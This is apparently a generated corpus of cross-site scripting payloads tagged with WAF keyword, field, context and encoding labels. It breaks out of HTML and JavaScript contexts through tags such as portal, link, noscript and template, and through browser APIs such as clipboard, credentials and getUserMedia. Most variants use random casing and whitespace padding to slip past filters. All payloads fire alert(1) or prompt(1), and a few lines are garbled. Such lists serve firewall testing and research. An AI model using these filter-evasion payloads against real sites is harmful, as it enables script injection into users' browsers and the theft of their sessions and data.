[WAFnerror|FIELD:source|CONTEXT:html|ENCODING:utf8]><source src="x" ONErroR="alert(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" onerror="alert(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><trACk srC="x" oNErroR="alerT(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" ONERroR="aleRT(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" OneRROR="alerT(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]>

<track

src

=

"x"

onerror

=

"alert

(

1

)

">



[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><trAck Src="x" onErRor="alert(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src="x" onERRor="alert(1)">

[WAF:|FIELD:track|CONTEXT:html|ENCODING:utf8]><track src='x' onerror='alert(1)'>

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<script>alert(1)</script>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<scrIpt>alert(1)</scrIpt>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<SCRiPT>AlERt(1)</SCRiPT>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal srC="datA:TexT/htML,<SCRIPt>alErt(1)</SCRIPt>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src="data:text/html,<sCriPt>ALert(1)</sCriPt>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><pOrtAl Src="DatA:TExT/htMl,<SCrIpt>aleRt(1)</scrIpt>">

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]><portal src=data:text/html,<script>alert(1)</script>>

[WAF:script,alert|FIELD:portal|CONTEXT:html|ENCODING:utf8]> <portal src = "data : text/html,<script> alert ( 1 )  </script> ">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><link rel="import" href="data:text/html,<script>alert(1)</script>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><LiNk rEl="import" hRef="Data:TexT/hTml,<script>ALERt(1)</script>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><link rel="import" href="data:text/html,<ScrIpt>alERT(1)</ScrIpt>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><lInk rel="import" href="data:text/html,<ScRIpT>alert(1)</ScRIpT>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><linK rel="import" href="data:text/html,<SCripT>aLErt(1)</SCripT>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><liNk ReL="imPort" HreF="dAta:text/hTmL,<ScriPT>aLert(1)</sCript>">

[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]>    <link    rel    =    "import"    href    =    "data    :    text/html,<script>    alert    (    1    )        </script>    ">

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(javascript:prompt(1))}';</style>

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><sTYle>@iMpoRT 'data:TexT/css,{}%20*%20{BAcKground:urL(javAScRIPT:PrompT(1))}';</Style>

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(JavasCriPT:prOMPT(1))}';</style>

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><sTYlE>@impOrt 'DAta:text/Css,{}%20*%20{BacKGround:url(JaVascript:proMpT(1))}';</style>

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(JaVascRipt:PROmPt(1))}';</style>

[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]>

<style>

@import

'data

:

text/css,

{



}

%20*%20

{

background

:

url

(

javascript

:

prompt

(

1

)



)



}

'

;



</style>



[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><script src="data:text/javascript,alert(1)"></script>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt src="data:text/javascript,alert(1)"></sCRiPt>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><scrIPt src="data:text/JavAsCRipt,ALERt(1)"></scrIPt>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt SRC="datA:Text/JavaSCriPt,alERt(1)"></sCript>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]> <script src = "data : text/javascript,alert ( 1 ) ">  </script>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt src="data:text/JavASCRIpT,alERt(1)"></sCRiPt>

[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCript sRC="daTa:text/jAVasCRIPT,alERt(1)"></sCript>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><img src="x" onerror="alert(1)"></noscript>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCRIPT><Img srC="X" OnErroR="aLERT(1)"></nosCRIPT>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCriPT><imG src="x" oNerRor="ALErt(1)"></nosCriPT>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCRipt><img src="x" OnERror="aLeRT(1)"></nosCRipt>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><img src="x" ONeRRoR="alert(1)"></noscript>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]> <noscript>  <img src = "x" onerror = "alert ( 1 ) ">  </noscript>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><iMg src="x" onerror="alert(1)"></noscript>

[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noScRIpt><IMg sRc="X" onerRor="ALert(1)"></nOScriPt>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><script>alert(1)</script></template>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><scRiPT>alert(1)</scRiPT></template>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><SCripT>ALeRt(1)</SCripT></template>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><TemplatE><sCrIpT>alErT(1)</sCRiPT></teMplAte>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><sCrIPt>aLERt(1)</sCrIPt></template>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><ScrIpT>aLeRt(1)</ScrIpT></TeMPlate>

[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]>    <template>        <script>    alert    (    1    )        </script>        </template>  

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><script>alert(1)</script></slot>

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><ScRipt>alErt(1)</ScRipt></slot>

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><sLoT NAme="x"><ScrIPT>alERT(1)</ScrIPT></SlOT>

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]>    <slot    name    =    "x">        <script>    alert    (    1    )        </script>        </slot>  

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><scriPt>alert(1)</scriPt></slot>

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><SCRiPt>ALerT(1)</SCRiPt></slot>

[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><SCript>alert(1)</script></slot>

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<script>alert(1)</script>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'    ;        el.attachShadow    (        {    mode    :        'open'    }        )    .innerHTML        =        '    <script>    alert    (    1    )        </script>    '    ;        //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.AtTacHShadOw({Mode: 'opEn'}).InNerHTmL = '<scrIPt>alERt(1)</scriPt>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.ATtAChShAdoW({mode: 'opeN'}).innerHTML = '<ScRiPt>ALErt(1)</ScRiPt>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<scRipt>alert(1)</scRipt>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<ScRiPt>aleRT(1)</ScRiPt>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]; el.attachShadow({mode: [ICODE]open}).innerHTML = [/ICODE]<script>alert(1)</script>'; //

[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<SCRIpt>aLERT(1)</SCRIpt>'; //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { alert(1) } }); //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; cUsTomELEmeNts.DefinE('x-X', claSS extendS HTMlElemeNT { conNEcTedCALlBack() { ALeRT(1) } }); //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { aLerT(1) } }); //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; cUstomELements.DEfine('x-x', clASs extenDs HTMLeLement { ConnecTEdcallback() { Alert(1) } }); //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { aLeRt(1) } }); //

[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]' ;  customElements.define ( 'x-x', class extends HTMLElement  {  connectedCallback (  )   {  alert ( 1 )   }   }  )  ;  //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(function(){alert(1)}).observe(document.body, {attributes: true}); //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(FUNcTiOn(){ALERt(1)}).observe(document.body, {attributes: true}); //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(FuNctION(){aLeRt(1)}).observe(DocUmENt.body, {attributes: true}); //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MuTationOBserver(fuNCtIOn(){aleRt(1)}).ObSeRVE(DoCuMenT.BodY, {AtTRiButES: trUE}); //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'    ;        new    MutationObserver    (    function    (        )        {    alert    (    1    )        }        )    .observe    (    document.body,        {    attributes    :        true    }        )        ;        //

[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; New MUtAtIonObSErVer(fUNCTioN(){ALert(1)}).obsErVe(dOcUMENt.boDy, {ATtributes: true}); //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(function(){alert(1)}).observe(document.body); //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]' ;  new IntersectionObserver ( function (  )  { alert ( 1 )  }  ) .observe ( document.body )  ;  //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; neW intErseCtionObSeRVer(funcTion(){alerT(1)}).Observe(dOcUMeNt.boDy); //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(FuncTion(){alErT(1)}).observe(doCUMENt.body); //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; NEW intersecTiOnoBservEr(FunCtion(){aLERt(1)}).oBSerVe(dOCuMENT.body); //

[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(fuNcTIOn(){ALERt(1)}).observe(DoCUMent.body); //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(function(){alert(1)}).observe(document.body); //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(fUnCtION(){aLeRT(1)}).observe(dOCUMenT.body); //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new RESizeOBservEr(fuNctiON(){Alert(1)}).oBserve(DOCuMEnT.bOdy); //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeoBserveR(funCtion(){AleRT(1)}).obseRve(doCumeNt.BODY); //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]' ;  new ResizeObserver ( function (  )  { alert ( 1 )  }  ) .observe ( document.body )  ;  //

[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(FunCTiOn(){aLERT(1)}).observe(DOcumeNT.body); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<script>alert(1)</script>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; nAvIgatoR.clipboarD.wRiteTExT('<SCriPt>AlerT(1)</sCRIPt>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<SCrIPt>alERT(1)</SCrIPt>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<ScriPt>alert(1)</ScriPt>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<SCRIpt>AlErt(1)</SCRIpt>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navIgaTOr.cLipBOard.wRitETeXT('<SCRiPT>aleRt(1)</SCRiPT>'); //

[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]' ;  navigator.clipboard.writeText ( ' <script> alert ( 1 )  </script> ' )  ;  //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(function(){alert(1)}); //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]' ;  navigator.geolocation.getCurrentPosition ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(fuNctioN(){alErT(1)}); //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(fuNctIon(){ALERT(1)}); //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; naViGAToR.gEolocAtion.getCuRrEntPosition(FunCtiON(){ALErt(1)}); //

[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; nAvigator.geolOCation.GEtCurReNTPoSITIon(functiOn(){AlErt(1)}); //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(function(){alert(1)}); //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; NOTificatIOn.requEstpermISSion(fUnctIon(){alert(1)}); //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]' ;  Notification.requestPermission ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(FUNCtiOn(){ALERt(1)}); //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; NotifICatIOn.requestPeRmISSion(FUnCTIon(){ALERT(1)}); //

[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(fUNCTiON(){aLERt(1)}); //

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(function(){alert(1)}); //

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(fuNCTION(){aleRT(1)}); //

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'

;



navigator.getBattery

(



)

.then

(

function

(



)



{

alert

(

1

)



}



)



;



//

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; nAVigator.getBatTEry().TheN(funCTioN(){aLert(1)}); //

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; nAVigAtoR.gEtBatTErY().then(fUNctiOn(){alErT(1)}); //

[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(fuNCtion(){alErT(1)}); //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = function(){alert(1)}; //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; naviGator.viBrAte = function(){AlErt(1)}; //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = FunctiON(){AlERt(1)}; //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; naVigator.vIbRate = funCtIoN(){ALErt(1)}; //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = FUNcTIon(){aLert(1)}; //

[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'    ;        navigator.vibrate        =        function    (        )        {    alert    (    1    )        }        ;        //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(function(){alert(1)}); //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; NAvigatOR.BlUetooTH.requEstDevice({fiLters: []}).ThEn(fUnction(){aLERT(1)}); //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(FUNCTion(){aLeRt(1)}); //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(FunctIOn(){ALErT(1)}); //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navIgAtOR.bluEtOoTh.reQuEsTdevIcE({fIlters: []}).TheN(functIon(){aLeRt(1)}); //

[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]' ;  navigator.bluetooth.requestDevice (  { filters :  [] }  ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(function(){alert(1)}); //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; nAViGator.usb.RequeSTdevice({filTers: []}).then(fuNctiOn(){aleRt(1)}); //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]' ;  navigator.usb.requestDevice (  { filters :  [] }  ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(funCTIon(){aLERt(1)}); //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(FUNCTIoN(){ALerT(1)}); //

[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; NAViGaTOr.usB.rEQUESTDeVice({filTers: []}).theN(FUnCTiOn(){ALerT(1)}); //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(function(){alert(1)}); //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; naVigator.NfC.WaTch(fUnCtIon(){alert(1)}); //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'    ;        navigator.nfc.watch    (    function    (        )        {    alert    (    1    )        }        )        ;        //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(FUNcTioN(){aleRt(1)}); //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(function(){ALERT(1)}); //

[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigAToR.nfc.watcH(FUnCTioN(){AlErt(1)}); //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(function(){alert(1)}); //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; nAvigatOr.wAkeloCk.RequeSt('SCREeN').thEN(FuNctIon(){alerT(1)}); //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; naVIgaTor.wakeLock.ReqUest('sCrEEn').thEn(FUnctIon(){aleRt(1)}); //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(fUNCTioN(){ALeRt(1)}); //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]' ;  navigator.wakeLock.request ( 'screen' ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(FUNCTIoN(){aLErt(1)}); //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; document.fonts.load('1em x').then(function(){alert(1)}); //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]' ;  document.fonts.load ( '1em x' ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; documeNt.fonTs.load('1Em X').thEN(FUnCTIon(){aLerT(1)}); //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; DOCUMENt.fonts.load('1em x').then(FUncTIOn(){AlErt(1)}); //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; doCUMenT.fonts.load('1em x').then(fuNCtion(){aLErt(1)}); //

[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; DOCumenT.fonts.Load('1em x').theN(funCtION(){alErt(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(function(){alert(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; nEw PaYmenTREQuest([{suppOrTedMEThoDs: 'basIC-caRD'}], {totaL: {LABeL: 'x', amouNt: {CuRRenCY: 'UsD', VALue: '0'}}}).Show().Catch(function(){AlerT(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(FUnCtiON(){ALeRt(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]`; new PaymentRequest([{supportedMethods: basic-card}], {total: {label: x, amount: {currency: USD, value: `0'}}}).show().catch(function(){alert(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(fuNcTioN(){aLert(1)}); //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]' ;  new PaymentRequest ( [ { supportedMethods :  'basic-card' } ],  { total :   { label :  'x', amount :   { currency :  'USD', value :  '0' }  }  }  ) .show (  ) .catch ( function (  )  { alert ( 1 )  }  )  ;  //

[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; New PaymeNTrEqUest([{sUPpOrTedMethods: 'basic-carD'}], {totAl: {laBeL: 'X', amount: {cUrRENcY: 'Usd', value: '0'}}}).SHow().CAtch(FUNcTiOn(){alErT(1)}); //

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(function(){alert(1)}); //

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; nAvigator.CredentIaLs.get({PAsswoRD: True}).thEn(FuNCTiON(){AlErt(1)}); //

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(fuNctIoN(){ALerT(1)}); //

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'

;



navigator.credentials.get

(



{

password

:



true

}



)

.then

(

function

(



)



{

alert

(

1

)



}



)



;



//

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navIgAtor.cReDenTiaLs.geT({PassWOrd: TrUe}).THen(functiOn(){aleRT(1)}); //

[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(funCtion(){ALeRt(1)}); //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(function(){alert(1)}); //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(fuNCTIon(){alerT(1)}); //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'    ;        navigator.credentials.create    (        {    publicKey    :            {        }        }        )    .then    (    function    (        )        {    alert    (    1    )        }        )        ;        //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(FunCTion(){aleRT(1)}); //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; NAVigaTor.crEDEntials.creatE({publicKEy: {}}).THen(fUNCtiON(){alert(1)}); //

[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; naVIGator.creDEntiALs.create({Publickey: {}}).then(FUNction(){alerT(1)}); //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(function(){alert(1)}); //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(fuNcTiOn(){aLErt(1)}); //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]' ;  navigator.mediaDevices.getUserMedia (  { video :  true }  ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; naVigator.mediadEvIces.getUseRmEDia({viDeo: true}).THeN(FUnCtioN(){alerT(1)}); //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(FuNcTIon(){AlERT(1)}); //

[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; NavigAtor.mEdiadevIceS.geTUsERmeDiA({viDeo: truE}).then(FunctIoN(){alerT(1)}); //

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(function(){alert(1)}); //

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; nAvigAtOR.rEquestMidIaCcEss().Then(functiOn(){alERT(1)}); //

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'

;



navigator.requestMIDIAccess

(



)

.then

(

function

(



)



{

alert

(

1

)



}



)



;



//

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(fUnCTiON(){ALERt(1)}); //

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(FunctIoN(){aLErt(1)}); //

[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; NavigATor.ReqUestMIdiACcEss().theN(fuNCTioN(){aleRt(1)}); //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(function(){alert(1)}); //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(FUNcTION(){aLerT(1)}); //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]' ;  navigator.hid.requestDevice (  { filters :  [] }  ) .then ( function (  )  { alert ( 1 )  }  )  ;  //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; naVIgatoR.hiD.ReQUestDEvice({filTeRs: []}).tHEn(FUnctIon(){aLeRt(1)}); //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(FunCTiOn(){alert(1)}); //

[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; naVigator.HId.rEquestdeVICe({fiLTErS: []}).thEn(FunCtION(){AleRt(1)}); //

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(function(){alert(1)}); //

[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'

;



